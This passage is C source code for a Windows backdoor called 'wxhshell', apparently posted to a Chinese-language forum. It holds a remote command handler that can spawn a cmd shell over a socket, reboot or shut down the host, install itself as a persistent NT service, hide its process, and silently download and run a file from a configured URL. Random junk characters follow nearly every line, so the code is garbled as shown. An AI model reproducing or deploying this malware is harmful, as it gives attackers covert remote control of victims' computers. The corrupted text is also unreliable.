  5.FAuzz  
  // 帮助 {^SHIL  
  case '?': { YOY{f:ew  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); * AjJf)o  
    break; cO/.(KBF  
  } R*z:+p}oHy  
  // 安装 zqAp7:  
  case 'i': { ~Is-^k)y  
    if(Install()) 1JO@G3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4-{f$Z @  
    else \_PD@A9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &g\?znF]H  
    break; e?eX9yA7F  
    } S`Wau/7t  
  // 卸载 oM)4""|  
  case 'r': { ICXz(?a  
    if(Uninstall()) 3 (R]QO`%'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C9}m-N  
    else N.qS;%*o{e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y/yg-\/XF  
    break; {B+{2;Zk  
    } Hp?uYih0  
  // 显示 wxhshell 所在路径 8i'EO6  
  case 'p': { CAV Q[r5y  
    char svExeFile[MAX_PATH]; ;+iw?"  
    strcpy(svExeFile,"\n\r"); SoJ'y6  
      strcat(svExeFile,ExeFile); g;PZ$|%&s>  
        send(wsh,svExeFile,strlen(svExeFile),0); BSbi.@@tp  
    break; T1c.ER}17  
    } jq"iLgEMO  
  // 重启  |_ `wC  
  case 'b': { 5W~-|8m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aO>Nev  
    if(Boot(REBOOT)) >KMTxHE`+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K18Sj,]B  
    else { jbK<"T5  
    closesocket(wsh); o5 |P5h  
    ExitThread(0); pxi/ ]6pw  
    } E HY}gG)  
    break; @8s:,Y_  
    } QR]61v:`  
  // 关机 XH{P@2~l  
  case 'd': { DqTp*hI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [d/uy>z,  
    if(Boot(SHUTDOWN)) @I,:(<6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve\=By-a|  
    else { $7JWA9#N!  
    closesocket(wsh); ums*EKjs97  
    ExitThread(0); d ,!sZ&v  
    } [_,Gk]F=  
    break; #{oGmzG!  
    } p:9^46N @  
  // 获取shell dqo&3^px  
  case 's': { A%dI8Z,  
    CmdShell(wsh); Th[Gu8b3  
    closesocket(wsh); v$i[dZSN[  
    ExitThread(0); "I`g(q#Uo  
    break; wUBug  
  } HtbN7V/  
  // 退出 q&N1| f7  
  case 'x': { Q]oCzSi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e#j kp'  
    CloseIt(wsh); FfR%@ V'  
    break; '}eA2Q>BV  
    } S((\KL,  
  // 离开 U>jLh57  
  case 'q': { Da8{==  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~*,e&I  
    closesocket(wsh); 1#2B1&  
    WSACleanup(); KOM]7%ys1H  
    exit(1); Fi*j}4F1  
    break; H(k-jAO,  
        } bEc @"^)  
  } 1l*O;J9By  
  } jVhfpS[  
=ijVT_|u0  
  // 提示信息 )RE~=*?d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o(_~ st<  
} zP$Ef7bB  
  } Xs7xZ$  
l9up?opq  
  return; FY6!)/P0I7  
} >s+TD4OfY  
mrvPzoF,]  
// shell模块句柄 V)g{ Ew]:  
int CmdShell(SOCKET sock) 9?~K"+-SI  
{ s$ v<p(yl  
STARTUPINFO si; "P_PqM  
ZeroMemory(&si,sizeof(si)); )]~;A c^x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~G ZpAPg*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2%F!aeX  
PROCESS_INFORMATION ProcessInfo; N)H _4L  
char cmdline[]="cmd"; t9yjfyk9W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iAAlld1  
  return 0; s.oh6wz  
} '5BM*4,:O  
 @rT}V>2I  
// 自身启动模式 vx&jI$t8  
int StartFromService(void) A(#4$}!n5  
{ *f4BD||  
typedef struct n :P5m9T  
{ IFg(Ze~  
  DWORD ExitStatus; +S3r]D3v/  
  DWORD PebBaseAddress; 3S_H hvB  
  DWORD AffinityMask; sF=8E8qa   
  DWORD BasePriority; $6 A91|ZSQ  
  ULONG UniqueProcessId; `LID*uD;_  
  ULONG InheritedFromUniqueProcessId; HECZZnM  
}   PROCESS_BASIC_INFORMATION; l~v BA$,  
U;Ne"Jh  
PROCNTQSIP NtQueryInformationProcess; ^.f`6 6/  
MJ+]\(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c[xH:$G?Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c 8 xZT  
NgXV|) L  
  HANDLE             hProcess; )K+ Tvx3(m  
  PROCESS_BASIC_INFORMATION pbi; ~dO&e=6Hk  
2]f"(X4jp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [x.Dw U%S  
  if(NULL == hInst ) return 0; tLzX L *  
xNaDzu"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ee=d*)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %`~? w'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BVt)~HZ  
Q ]u*Oels  
  if (!NtQueryInformationProcess) return 0; ] _ON\v1  
Qs^Rh F\d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6UkX?I`>  
  if(!hProcess) return 0; ]5=C3Y  
k^ZcgHHgb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '#fwNbD  
gZ^NdDBO  
  CloseHandle(hProcess); u=5~^ 9  
'*PJ-=G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O\(0{qu  
if(hProcess==NULL) return 0; JlF$|y,gV,  
9z:P#=Q:  
HMODULE hMod; h xCt[G@  
char procName[255]; j(;o   
unsigned long cbNeeded; hu G]kv3F:  
cTR@ :sm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gUcG#  
jd&kak  
  CloseHandle(hProcess); QF7iU@%-  
X R =^zp?  
if(strstr(procName,"services")) return 1; // 以服务启动 wV9[Jl\Z  
z}" Xt=G?  
  return 0; // 注册表启动 uH6QK\  
} oA _,jsD4  
^_cR  
// 主模块 fgg;WXcT ~  
int StartWxhshell(LPSTR lpCmdLine) Q+O3Wgjy  
{ Ny.s u?E  
  SOCKET wsl; nEZo F  
BOOL val=TRUE; q0oNRAvn"  
  int port=0; )T=cd   
  struct sockaddr_in door; Rr#vv  
7%-+7O3ud  
  if(wscfg.ws_autoins) Install(); Z?vbe}pUM  
O=HT3gp&  
port=atoi(lpCmdLine); N* C"+2  
yH<^txNF  
if(port<=0) port=wscfg.ws_port; Y+k)d^6r  
&wlSOC')j  
  WSADATA data; P(1 bd"Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pMB~Lt9  
5df~] -=0Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {~"&$DY2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7h4"5GlO0  
  door.sin_family = AF_INET; kT!Y~c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eQ}o;vJN  
  door.sin_port = htons(port); Btmv{'T_y@  
W6&s_ (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DL^}?Ve  
closesocket(wsl); mgB7l0)b  
return 1; 8h&Ed=gi  
} Hd1e9Q,:|  
;t.LLd  
  if(listen(wsl,2) == INVALID_SOCKET) { 8( ^;h2O!  
closesocket(wsl); >taC_f06  
return 1; Ax=k0%M[&  
} `dH[&=S  
  Wxhshell(wsl); ^cE|o&Rm;  
  WSACleanup(); y] Io`w(>  
24TQl<H{  
return 0; A.!V*1h{  
![wV}. }  
} z;dD }Fo  
#1:&uC1vj  
// 以NT服务方式启动 CvwC| AW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uZe|%xK$y  
{ yW&|ZJF?  
DWORD   status = 0; A;t6duBDf/  
  DWORD   specificError = 0xfffffff; Y5}<7s\UDO  
( aGwe@AS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1!@KRV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zd/ACZ[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cG|ihG5)  
  serviceStatus.dwWin32ExitCode     = 0; MYzyg  
  serviceStatus.dwServiceSpecificExitCode = 0; N5ityJIgQ  
  serviceStatus.dwCheckPoint       = 0; [dje!5Dc(  
  serviceStatus.dwWaitHint       = 0; A6APU><dm^  
H0Q.; !^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R "S,&  
  if (hServiceStatusHandle==0) return; ~aK@M4  
Wx;`=9  
status = GetLastError(); /7$3RV(  
  if (status!=NO_ERROR) s V70a 3#  
{ !5rja-h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SBnwlM"AN  
    serviceStatus.dwCheckPoint       = 0; 0ciPH:V  
    serviceStatus.dwWaitHint       = 0; kKV`9&dZe  
    serviceStatus.dwWin32ExitCode     = status; {2`:7U ~|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ('/5#^%R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4s?x 8oAy  
    return; -r9G5Z!|n  
  } x0ZEVa0`4  
p{knQ],   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E\5cb[Y  
  serviceStatus.dwCheckPoint       = 0; ':kj\$U  
  serviceStatus.dwWaitHint       = 0; DwXzmp[qWH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $z-zscco  
} *5DOTWos  
[p%@ pV  
// 处理NT服务事件,比如:启动、停止 MLV_I4o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l65-8  
{ TI{W(2O*  
switch(fdwControl) FFH9 $>A  
{ 2k,!P6fgl  
case SERVICE_CONTROL_STOP: Mf0XQ3n`H  
  serviceStatus.dwWin32ExitCode = 0; y{~l&zrl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~/hyf]*j  
  serviceStatus.dwCheckPoint   = 0; lW! U:  
  serviceStatus.dwWaitHint     = 0; 3YyB0BMW  
  { "(uEcS2<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hjB G`S#  
  } 4}:a"1P"  
  return; t_@xzt10y  
case SERVICE_CONTROL_PAUSE: _y Q*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pdc- 3  
  break; p?OwcMT]M  
case SERVICE_CONTROL_CONTINUE: WN?1J4H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :eQ?gM!,  
  break; >b>3M'  
case SERVICE_CONTROL_INTERROGATE: ='1J&w~7  
  break; :IFTiq5a;  
}; y6|&bJ @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ipB*]B F[  
} Las4ux[_  
B;A^5~b  
// 标准应用程序主函数 ][8ZeM9&p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xp <RG p7E  
{ "^j& ^sA+  
eWvL(2`Tx  
// 获取操作系统版本 bXoj/zek  
OsIsNt=GetOsVer(); !br0s(|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?MevPy`H  
&DdFK.lt  
  // 从命令行安装 |I7-7d-; /  
  if(strpbrk(lpCmdLine,"iI")) Install(); .aWEXJ  
:]%z8,6k  
  // 下载执行文件 ,bRvj8"M  
if(wscfg.ws_downexe) { _5I" %E;S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) } FcWzi  
  WinExec(wscfg.ws_filenam,SW_HIDE); |t^7L )&y  
} &(h~{  
"R-1 G/  
if(!OsIsNt) { yBKkx@o#z  
// 如果时win9x,隐藏进程并且设置为注册表启动 M IPmsEdBi  
HideProc(); Fy N@mX  
StartWxhshell(lpCmdLine); *bu/Ko]  
} IS0RhtGy/  
else ~c7}eTJd"  
  if(StartFromService()) S_cba(0-|\  
  // 以服务方式启动 MF/359r)Et  
  StartServiceCtrlDispatcher(DispatchTable); Ob+L|FbnN  
else EB'(%dH  
  // 普通方式启动 tp2CMJc{L  
  StartWxhshell(lpCmdLine); 8=x{>&Jr&#  
D T^3K5  
return 0; Ilvz @=  
}
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只看该作者 1 发表于: 2006-10-10
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